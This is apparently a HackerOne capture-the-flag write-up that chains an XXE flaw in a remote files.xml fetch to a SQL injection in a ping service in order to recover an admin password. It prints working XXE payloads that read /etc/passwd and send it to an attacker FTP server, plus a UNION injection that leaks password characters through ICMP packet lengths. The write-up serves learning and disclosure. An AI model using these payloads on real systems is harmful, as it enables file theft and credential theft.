h1-ctf · Report #1216085
ccc ctf
Summary
We are given this website
https://ccc.h1ctf.com/
We can register a user which is assigned a user hash. In our case we got 8y399q as user hash. Once logged in the page /u/8y399q just says:
: Remote File list not found
The website points to a twitter account https://twitter.com/DesignsCcc. There we find a picture with a browser opened on the website we are attacking. One tab of the browser seems to point to: /error_-_-_log.txt
We are able to confirm that this file exists and it contains
File: https://h1-wfzfi4.s3.eu-west-2.amazonaws.com/files.xml Not Found
File: https://h1-cn9uhd.s3.eu-west-2.amazonaws.com/files.xml Not Found
File: https://h1-y0c9ov.s3.eu-west-2.amazonaws.com/files.xml Not Found
File: https://h1-56qw4c.s3.eu-west-2.amazonaws.com/files.xml Not Found
File: https://h1-6hin8w.s3.eu-west-2.amazonaws.com/files.xml Not Found
One of the buckets is intersting becaus it contains an hint towards XXE:
https://h1-cn9uhd.s3.eu-west-2.amazonaws.com/files.xml
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://patopirata.com/x"> %ext;
]>
<r></r>
After a long struggle on many dead ends, and a couple of rickrollings we started wondering how can we make the site read a remote list of files.
At this point the key observation is that the log file above seems to suggest that the site will query a files.xml on AWS S3 with a predictable name:
h1-MYHASH.s3.eu-west-2.amazonaws.com/files.xml
So we went to AWS console and put an evil xml file in a public s3 bucket
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://MYSERVER:8080/ev.xml">
%sp;
%param1;
]>
<r>&exfil;</r>
We were able to confirm the XXE vulnerability and after a lot of trial and error, working with the external DTD (in order not to change the xml on S3) we came up with this payload in the external dtd ev.xml:
<!ENTITY % data SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param "<!ENTITY % exfil SYSTEM 'ftp://MYSERVER:2121/%data;'>">
%param;
%exfil;
For exfiltration we are using the excellent tool https://github.com/staaldraad/xxeserv
Having php (knowing the author of this challenge we suspected that), is very useful: we can work with filters to compress and encode data in order to easily exfiltrate even "big" files.
In particular we started looking at /etc/nginx/nginx.conf (mentioned by the twitter account of the developers) which contains usual include directives:
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
...
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}
The default virtual host config /etc/nginx/sites-enabled/default is all commented out, so it's not the running configuration, but it contains an important clue:
#server {
# server_name ccc.h1ctf.com;
# root /var/www/app/public;
# index index.php;
# location / {
# try_files $uri $uri/ /index.php?$query_string;
# }
# location /2b5d2b11513d2c9b {
# proxy_pass http://127.0.0.1:8888;
# }
#
Moving on to ccc.h1ctf.com/2b5d2b11513d2c9b we do some recon in there and find a .git/HEAD file. We cannot find much else in the .git directory apart from the configuration .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = https://github.com/ccc-labs/pinger.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
We now have the source code of the pinger service where we understand that we have to look at
https://ccc.h1ctf.com/2b5d2b11513d2c9b/api/ping?id=XXX
Key point is in the Ping model source code:
https://github.com/ccc-labs/pinger/blob/main/_pingercode_/models/Ping.php#L10
class Ping
{
public static function send( $id ){
$sql = 'select * from host where id = '.$id.' LIMIT 1 ';
$d = Db::connect()->prepare($sql);
$d->execute();
//Confirm we've found a matching row in the database
if( $d->rowCount() == 1 ){
$host = $d->fetch();
$ip = $host["ip"];
$packet_size = intval($host["packet_size"]);
//make sure PING packet size between 1 and 65527
if( $packet_size > 0 && $packet_size < 65528 ) {
//check IP is a valid IPv4 Address
if (filter_var($ip, FILTER_VALIDATE_IP,FILTER_FLAG_IPV4)) {
//SEND 4 PING PACKETS IN THE BACKGROUND
shell_exec('ping -s '.$packet_size.' -c 4 '.$ip.' > /dev/null &');
}
}
}
}
}
The service is clarly vulnerable to SQL injection, but given the validation applied to $packet_size and $ip we are not able to do nothing but actually ping something.
But we have some room in $packet_size to put ascii codes of relevant characters. So in the end a request like the one below will exifltrate Nth character of the admin password:
GET /2b5d2b11513d2c9b/api/ping?
id=-1+union+all+select+1,'MYSERVER',ascii(substr(password,N,1))+from+user+where+username='admin'%23 HTTP/1.1
In particular it will generate ICMP packets towards my server
10:17:39.290067 eth0 In IP 18.216.97.43 > x.y.z.w: ICMP echo request, id 223, seq 1, length 93
Here length 93 minus 8 for overhead will give ASCII 85 which is U, first character of the admin password. Repeating the exercise many times, sleeping one minute between request or, in my case, using a server with many different ip address will give the admin password Ud79^1HHJ$W*IObaKdQgI.
Logging in the admin dashboard of pinger we get the flag:
████
```
How it was found
██████████
will send detailed report later
Impact
can get admin credentials